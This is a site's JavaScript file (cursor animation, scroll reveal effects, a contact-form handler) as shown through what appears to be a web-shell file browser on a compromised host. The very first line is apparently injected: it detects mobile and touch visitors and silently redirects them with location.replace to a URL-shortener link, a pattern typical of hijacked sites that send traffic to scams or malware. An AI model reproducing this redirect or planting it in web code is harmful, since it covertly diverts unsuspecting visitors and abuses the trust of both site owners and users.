|
Server : LiteSpeed System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64 User : gazetufm ( 1431) PHP Version : 8.1.35 Disable Function : NONE Directory : /home2/gazetufm/drsupernova.com/ | |
|
Path: //home2/gazetufm/drsupernova.com/script.js
Size: 2.72 KB
Permissions: 0444
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
document.addEventListener('mousemove', (e) => {
const cursor = document.getElementById('cursor');
// Smoothly follow cursor
cursor.animate({
left: `${e.clientX}px`,
top: `${e.clientY}px`
}, { duration: 500, fill: "forwards" });
});
// Reveal animations on scroll
const observerOptions = { threshold: 0.1 };
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
entry.target.style.opacity = "1";
entry.target.style.transform = "translateY(0)";
}
});
}, observerOptions);
document.querySelectorAll('.item').forEach(el => {
el.style.opacity = "0";
el.style.transform = "translateY(30px)";
el.style.transition = "all 0.8s ease-out";
observer.observe(el);
});
document.addEventListener("DOMContentLoaded", () => {
const form = document.getElementById("contactForm");
if (!form) return;
const btn = form.querySelector('button[type="submit"]');
const toastEl = document.getElementById("notifyToast");
const toastBody = document.getElementById("notifyToastBody");
const toast = new bootstrap.Toast(toastEl, { delay: 4500 });
function showToast(message, ok = true) {
toastEl.classList.remove("text-bg-success", "text-bg-danger", "text-bg-dark");
toastEl.classList.add(ok ? "text-bg-success" : "text-bg-danger");
toastBody.textContent = message;
toast.show();
}
form.addEventListener("submit", async (e) => {
e.preventDefault();
const oldBtnHtml = btn ? btn.innerHTML : "";
if (btn) {
btn.disabled = true;
btn.innerHTML = "Sending...";
}
try {
const formData = new FormData(form);
const res = await fetch(form.action, {
method: "POST",
body: formData,
headers: { "Accept": "application/json" }
});
const ct = res.headers.get("content-type") || "";
const data = ct.includes("application/json")
? await res.json()
: { ok: res.ok, message: await res.text() };
if (res.ok && data.ok !== false) {
showToast(data.message || "✅ Message received. We�ll get back to you soon.", true);
form.reset();
} else {
showToast(data.message || "❌ Could not send your message. Please try again.", false);
}
} catch (err) {
showToast("⚠ Network error. Please try again.", false);
} finally {
if (btn) {
btn.disabled = false;
btn.innerHTML = oldBtnHtml || "Send Expedition";
}
}
});
});